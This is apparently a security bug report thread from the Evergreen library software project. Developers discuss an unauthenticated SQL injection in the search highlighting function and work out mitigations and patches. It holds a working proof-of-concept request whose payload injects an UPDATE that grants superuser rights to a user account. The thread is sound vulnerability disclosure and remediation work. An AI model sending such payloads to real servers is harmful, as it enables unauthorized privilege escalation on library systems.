Unauthenticated SQL Injection is possible

[Jason Boyer]

Likely affects all Evergreen versions that support search term highlighting

A bug report is coming soon for an overall review all of our use of the pgplsql EXECUTE keyword, but this has higher urgency due to the ability to trigger it without an authtoken.

Galen found that the following srfsh request will allow you to put essentially whatever you like between the '')); and SELECT, in this case a privilege escalation:

request open-ils.search open-ils.search.fetch.metabib.display_field.highlight {"'')); update actor.usr set super_user = true where id = 47; SELECT hstore((\n (to_tsquery('simple', COALESCE(NULLIF( '(' || btrim(regexp_replace(search_normalize(split_date_range($_30334$harry$_30334$)),E'(?:\\\\s+|:)','&','g'),'&|') || ')', '()'), '')) || to_tsquery('english_nostop', COALESCE(NULLIF( '(' || btrim(regexp_replace(search_normalize(split_date_range($_30334$harry$_30334$)),E'(?:\\\\s+|:)','&','g'),'&|') || ')', '()'), ''))) ||\n (to_tsquery('simple', COALESCE(NULLIF( '(' || btrim(regexp_replace(search_normalize(split_date_range($_30334$potter$_30334$)),E'(?:\\\\s+|:)','&','g'),'&|') || ')', '()'), '')) || to_tsquery('english_nostop', COALESCE(NULLIF( '(' || btrim(regexp_replace(search_normalize(split_date_range($_30334$potter$_30334$)),E'(?:\\\\s+|:)','&','g'),'&|') || ')', '()'), '')))":["51"]}, 210

Which also returns normal looking results. I haven't taken the time to encode this in such a way that you can just throw it at a server via /gateway, but one has to assume it's possible, which is essentially game over.

The open-ils.search.fetch.metabib.display_field.highlight call eventually calls search.highlight_display_fields which contains the following:
EXECUTE 'SELECT ' || tsq_map INTO tsq_hstore;
So if you know how to correctly wrap your payload (see above) you can run whatever.

[Galen Charlton (gmc)]

Noting with respect to the example that search query part bit could be made simpler; the main thing with respect to pulling off the exploit is ensuring that it doesn't cause search.highlight_display_fields() to abort with an error.

[Jeff Davis (jdavis-sitka)]

See bug 2004058 for plpgsql EXECUTE generally.

Is there a known fix or mitigation for this issue? Is it simply a matter of changing the problematic line in search.highlight_display_fields to "EXECUTE 'SELECT ' || quote_literal(tsq_map) INTO tsq_hstore;"?

[Galen Charlton (gmc)]

Unfortunately, tossing in a quote_literal breaks the function outright. Also, the current implementation of search highlighting depends on dynamically evaluating the various to_tsquery() expressions.

I suspect that untangling that might take a fair amount of work. Some options I see:

- Stashing the highlight map that is generated by the query parser in memcached or the like rather than allowing it to be passed as a method parameter
- Having the search code do a bit more work to create a version of the highlight map that has already calculated the results of the to_tsquerY() + normalizer expressions; that way, the highlight map could be passed around as safe hstore literal
- More radical rework of the highlighting code

As far as a short-term mitigation is concerned, this stored procedure is not subject to the injection but at the cost of not calculating any search highlights. If anybody applies this mitigation, you should also turn off the search highlighting option in the OPAC templates to avoid users trying to toggle something that doesn't work.

CREATE OR REPLACE FUNCTION search.highlight_display_fields(rid bigint, tsq_map text, css_class text DEFAULT 'oils_SH'::text, hl_all boolean DEFAULT true, minwords integer DEFAULT 5, maxwords integer DEFAULT 25, shortwords integer DEFAULT 0, maxfrags integer DEFAULT 0, delimiter text DEFAULT ' ... '::text)
 RETURNS SETOF search.highlight_result
 LANGUAGE plpgsql
 ROWS 10
AS $function$
DECLARE
    tsq_hstore TEXT;
    tsq TEXT;
    fields TEXT;
    afields INT[];
    seen INT[];
BEGIN
    RETURN QUERY
        SELECT id,
                source,
                field,
                evergreen.escape_for_html(value) AS value,
                evergreen.escape_for_html(value) AS highlight
          FROM metabib.display_entry
          WHERE source = rid;
END;
$function$

[Jeff Davis (jdavis-sitka)]

Thanks, Galen. I've confirmed the issue on EG 3.9 and the interim fix is working for me as well. I don't have any immediate opinions about a long-term fix.

[Mike Rylander (mrylander)]

I've pushed a branch to security/user/miker/lp-2004055-precompute-highlight-map which (as the branch name suggests) precomputes the highlight map data. It removes the use of EXECUTE from the DB function, and will simply fail (in a predicable and reasonable way) if attacked.

[Galen Charlton (gmc)]

Works for me. I've pushed a signoff branch to security/user/gmcharlt/lp2004055_signoff

This fixes the direct injection attack I found. I don't think I can completely rule out the possibility that sufficiently clever input to the catalog search method could invoke an injection during the new conversion of the highlight data to an hstore literal. However, if such input exists, it would very likely point to an exploit of the core search query as well, so we'd be no worse off.